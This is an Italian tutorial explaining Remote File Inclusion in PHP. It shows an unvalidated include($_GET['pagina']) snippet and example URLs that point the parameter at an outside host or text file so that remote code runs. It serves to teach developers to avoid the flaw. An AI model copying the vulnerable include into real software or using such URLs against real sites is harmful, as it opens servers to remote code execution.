Corsi on-line

Remote File Inclusion e parametri di metodo non validati

Trust No One, la regola fondamentale nello sviluppo di un’applicazione Server Side è non fidarsi mai di nessuno, soprattutto se per forza di cose si è costretti a dover avere a che fare con chiunque; i parametri di metodo sono il tramite attraverso il quale gli utenti interagiscono con una piattaforma Web based è in questo caso l’unico controllo efficace è quello preventivo; il fatto che un codice sorgente non sia direttamente accessibile via browser non vi difenderà mai abbastanza da un pericolo chiamato Remote File Inclusion o, se preferite, semplicemente RFI.

Analizziamo a titolo di esempio alcune istruzioni come le seguenti, in questo caso il metodo di riferimento è GET:

$pagina = $_GET['pagina'];
include($pagina);

Abbiamo quindi un’inclusione “dinamica” nella quale la pagina/argomento viene memorizzata all’interno di una varibile tramite un passaggio di valore per metodo; in pratica tale valore viene preso pari pari da una querystring senza alcuna validazione, quindi, è per definizione arbitrario in quanto modificabile direttamente dalla barra delle URL.

Immaginiamo ora di attenderci una querystring come questa in seguito alla pressione di un link o ad un invio tramite form:

http://dominio.it/file.php?pagina=foo.php

Cosa impedirebbe ad un cracker wannabe di effettuare una modifica come la seguente:

http://dominio.it/file.php?pagina=http://www.bar.it

o nel caso ancora peggiore:

http://dominio.it/file.php?pagina=bar.txt

Vi invito ad eseguire dei test sulla base di quanto detto e inserendo del codice arbitrario nel file incluso da remoto, naturalmente dovrete operare soltanto in sede di sviluppo ed esclusivamente a carico di vostre applicazioni; quanto riportato in questo tutorial è stato proposto a scopo unicamente didattico. Per il resto, tenete conto che includendo un file PHP la RFI non funzionerà in quanto ciò consentirebbe unicamente la generazione in output del markup.

Post correlati
I più letti del mese
Tematiche